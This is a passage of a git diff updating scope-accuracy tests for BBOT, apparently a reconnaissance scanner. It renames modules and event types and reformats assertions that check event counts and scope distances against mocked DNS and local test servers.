     assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "accept_dupes.test.notreal" and str(e.module) == "accept_dupes"])
@@ -167,7 +180,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs)
     assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes"])
     assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"])
     assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"])
-    assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]])
+    assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]])
 
     assert len(per_domain_only) == 1
-    assert 1 == len([e for e in per_domain_only if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]])
+    assert 1 == len([e for e in per_domain_only if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]])
diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py
index 41e55ea342..fb6b5c4c95 100644
--- a/bbot/test/test_step_1/test_manager_scope_accuracy.py
+++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py
@@ -17,14 +17,7 @@
 @pytest.fixture
 def bbot_other_httpservers():
 
-    server_hosts = [
-        ("127.0.0.77", 8888),
-        ("127.0.0.88", 8888),
-        ("127.0.0.99", 8888),
-        ("127.0.0.111", 8888),
-        ("127.0.0.222", 8889),
-        ("127.0.0.33", 8889),
-    ]
+    server_hosts = [("127.0.0.77", 8888), ("127.0.0.88", 8888), ("127.0.0.99", 8888), ("127.0.0.111", 8888), ("127.0.0.222", 8889), ("127.0.0.33", 8889)]
 
     servers = [HTTPServer(host=host, port=port, threaded=True) for host, port in server_hosts]
     for server in servers:
@@ -40,9 +33,8 @@ def bbot_other_httpservers():
         server.clear()
 
 
-
 @pytest.mark.asyncio
-async def test_manager_scope_accuracy(bbot_scanner, bbot_httpserver, bbot_other_httpservers, bbot_httpserver_ssl):
+async def test_manager_scope_accuracy_correct(bbot_scanner, bbot_httpserver, bbot_other_httpservers, bbot_httpserver_ssl):
     """
     This test ensures that BBOT correctly handles different scope distance settings.
     It performs these tests for normal modules, output modules, and their graph variants,
@@ -103,25 +95,28 @@ async def handle_batch(self, *events):
 
     async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs):
         scan = bbot_scanner(*args, config=_config, **kwargs)
+        await scan._prep()
         dummy_module = DummyModule(scan)
         dummy_module_nodupes = DummyModuleNoDupes(scan)
         dummy_graph_output_module = DummyGraphOutputModule(scan)
         dummy_graph_batch_output_module = DummyGraphBatchOutputModule(scan)
+        await dummy_module.setup()
+        await dummy_module_nodupes.setup()
+        await dummy_graph_output_module.setup()
+        await dummy_graph_batch_output_module.setup()
+
         scan.modules["dummy_module"] = dummy_module
         scan.modules["dummy_module_nodupes"] = dummy_module_nodupes
         scan.modules["dummy_graph_output_module"] = dummy_graph_output_module
         scan.modules["dummy_graph_batch_output_module"] = dummy_graph_batch_output_module
+
         await scan.helpers.dns._mock_dns(_dns_mock)
         if scan_callback is not None:
             scan_callback(scan)
         output_events = [e async for e in scan.async_start()]
-        return (
-            output_events,
-            dummy_module.events,
-            dummy_module_nodupes.events,
-            dummy_graph_output_module.events,
-            dummy_graph_batch_output_module.events,
-        )
+        # let modules initialize
+        await asyncio.sleep(0.5)
+        return (output_events, dummy_module.events, dummy_module_nodupes.events, dummy_graph_output_module.events, dummy_graph_batch_output_module.events)
 
     dns_mock_chain = {
         "test.notreal": {"A": ["127.0.0.66"]},
@@ -133,11 +128,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs)
     }
 
     # dns search distance = 1, report distance = 0
-    events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan(
-        "test.notreal",
-        _config={"dns": {"minimal": False, "search_distance": 1}, "scope": {"report_distance": 0}},
-        _dns_mock=dns_mock_chain,
-    )
+    events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan("test.notreal", _config={"dns": {"minimal": False, "search_distance": 1}, "scope": {"report_distance": 0}}, _dns_mock=dns_mock_chain)
 
     assert len(events) == 3
     assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0])
@@ -162,11 +153,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs)
     assert 0 == len([e for e in graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77"])
 
     # dns search distance = 2, report distance = 0
-    events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan(
-        "test.notreal",
-        _config={"dns": {"minimal": False, "search_distance": 2}, "scope": {"report_distance": 0}},
-        _dns_mock=dns_mock_chain,
-    )
+    events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan("test.notreal", _config={"dns": {"minimal": False, "search_distance": 2}, "scope": {"report_distance": 0}}, _dns_mock=dns_mock_chain)
 
     assert len(events) == 4
     assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0])
@@ -206,11 +193,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs)
         assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"])
 
     # dns search distance = 2, report distance = 1
-    events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan(
-        "test.notreal",
-        _config={"dns": {"minimal": False, "search_distance": 2}, "scope": {"report_distance": 1}},
-        _dns_mock=dns_mock_chain,
-    )
+    events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan("test.notreal", _config={"dns": {"minimal": False, "search_distance": 2}, "scope": {"report_distance": 1}}, _dns_mock=dns_mock_chain)
 
     assert len(events) == 7
     assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0])
@@ -249,11 +232,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs)
         assert 0 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test2.notrealzies"])
         assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"])
 
-    dns_mock_chain = {
-        "test.notreal": {"A": ["127.0.0.66"]},
-        "66.0.0.127.in-addr.arpa": {"PTR": ["test.notrealzies"]},
-        "test.notrealzies": {"A": ["127.0.0.77"]},
-    }
+    dns_mock_chain = {"test.notreal": {"A": ["127.0.0.66"]}, "66.0.0.127.in-addr.arpa": {"PTR": ["test.notrealzies"]}, "test.notrealzies": {"A": ["127.0.0.77"]}}
 
     class DummyVulnModule(BaseModule):
         _name = "dummyvulnmodule"
@@ -267,9 +246,7 @@ async def filter_event(self, event):
             return False, "bleh"
 
         async def handle_event(self, event):
-            await self.emit_event(
-                {"host": str(event.host), "description": "yep", "severity": "CRITICAL"}, "VULNERABILITY", parent=event
-            )
+            await self.emit_event({"host": str(event.host), "description": "yep", "severity": "CRITICAL", "confidence": "CONFIRMED", "name": "Test Finding"}, "FINDING", parent=event)
 
     def custom_setup(scan):
         dummyvulnmodule = DummyVulnModule(scan)
@@ -277,10 +254,7 @@ def custom_setup(scan):
 
     # dns search distance = 3, report distance = 1
     events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan(
-        "test.notreal",
-        scan_callback=custom_setup,
-        _config={"dns": {"minimal": False, "search_distance": 3}, "scope": {"report_distance": 1}},
-        _dns_mock=dns_mock_chain,
+        "test.notreal", scan_callback=custom_setup, _config={"dns": {"minimal": False, "search_distance": 3}, "scope": {"report_distance": 1}}, _dns_mock=dns_mock_chain
     )
 
     assert len(events) == 5
@@ -288,21 +262,21 @@ def custom_setup(scan):
     assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1])
     assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notrealzies"])
     assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77"])
-    assert 1 == len([e for e in events if e.type == "VULNERABILITY" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3])
+    assert 1 == len([e for e in events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3])
 
     assert len(all_events) == 8
     assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1])
     assert 2 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2])
     assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3])
-    assert 1 == len([e for e in all_events if e.type == "VULNERABILITY" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3])
+    assert 1 == len([e for e in all_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3])
 
     assert len(all_events_nodups) == 6
     assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1])
     assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2])
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3])
-    assert 1 == len([e for e in all_events_nodups if e.type == "VULNERABILITY" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3])
+    assert 1 == len([e for e in all_events_nodups if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3])
 
     for _graph_output_events in (graph_output_events, graph_output_batch_events):
         assert len(_graph_output_events) == 7
@@ -310,12 +284,12 @@ def custom_setup(scan):
         assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1])
         assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2])
         assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3])
-        assert 1 == len([e for e in _graph_output_events if e.type == "VULNERABILITY" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3])
+        assert 1 == len([e for e in _graph_output_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3])
 
-    # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0
+    # http/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0
     events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan(
         "127.0.0.1/31",
-        modules=["httpx"],
+        modules=["http"],
         _config={
             "dns": {"minimal": False, "search_distance": 2},
             "scope": {"report_distance": 1, "search_distance": 0},
@@ -333,10 +307,10 @@ def custom_setup(scan):
     assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0])
     assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"])
     assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
     assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"])
-    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"])
-    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"])
+    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"])
+    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"])
     assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1])
     assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"])
 
@@ -346,10 +320,10 @@ def custom_setup(scan):
     assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0])
     assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags])
+    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags])
     assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1])
 
@@ -359,10 +333,10 @@ def custom_setup(scan):
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags])
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1])
 
@@ -373,23 +347,23 @@ def custom_setup(scan):
         assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0])
         assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"])
         assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-        assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+        assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
         assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"])
-        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"])
-        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"])
         assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1])
         assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"])
 
-    # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0, in_scope_only = False
+    # http/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0, in_scope_only = False
     events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan(
         "127.0.0.1/31",
-        modules=["httpx"],
+        modules=["http"],
         _config={
             "dns": {"minimal": False, "search_distance": 2},
             "scope": {"search_distance": 0, "report_distance": 1},
             "excavate": True,
             "speculate": True,
-            "modules": {"httpx": {"in_scope_only": False}, "speculate": {"ports": "8888"}},
+            "modules": {"http": {"in_scope_only": False}, "speculate": {"ports": "8888"}},
             "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"],
         },
     )
@@ -397,24 +371,24 @@ def custom_setup(scan):
     assert len(events) == 8
     # 2024-08-01
     # Removed OPEN_TCP_PORT("127.0.0.77:8888")
-    # before, this event was speculated off the URL_UNVERIFIED, and that's what was used by httpx to generate the URL. it was graph-important.
-    # now for whatever reason, httpx is visiting the url directly and the open port isn't being used
+    # before, this event was speculated off the URL_UNVERIFIED, and that's what was used by http module to generate the URL. it was graph-important.
+    # now for whatever reason, http module is visiting the url directly and the open port isn't being used
     # I don't know what changed exactly, but it doesn't matter, either way is equally valid and bbot is meant to be flexible this way.
     assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0])
     assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"])
     assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0])
     assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"])
     assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
     assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"])
-    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"])
-    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"])
+    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"])
+    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"])
     assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1])
     assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"])
-    assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
+    assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
     assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.77:8888"])
     assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"])
-    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"])
+    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"])
 
     assert len(all_events) == 18
     assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0])
@@ -422,16 +396,16 @@ def custom_setup(scan):
     assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0])
     assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
+    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
     assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1])
-    assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
+    assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
     assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
     assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2])
-    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2])
+    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2])
 
     assert len(all_events_nodups) == 16
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0])
@@ -439,16 +413,16 @@ def custom_setup(scan):
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags])
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
     assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2])
 
     for _graph_output_events in (graph_output_events, graph_output_batch_events):
         assert len(_graph_output_events) == 8
@@ -457,27 +431,27 @@ def custom_setup(scan):
         assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0])
         assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"])
         assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-        assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+        assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
         assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"])
-        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"])
-        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and "spider-danger" in e.tags])
+        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and "spider-danger" in e.tags])
         assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1])
         assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"])
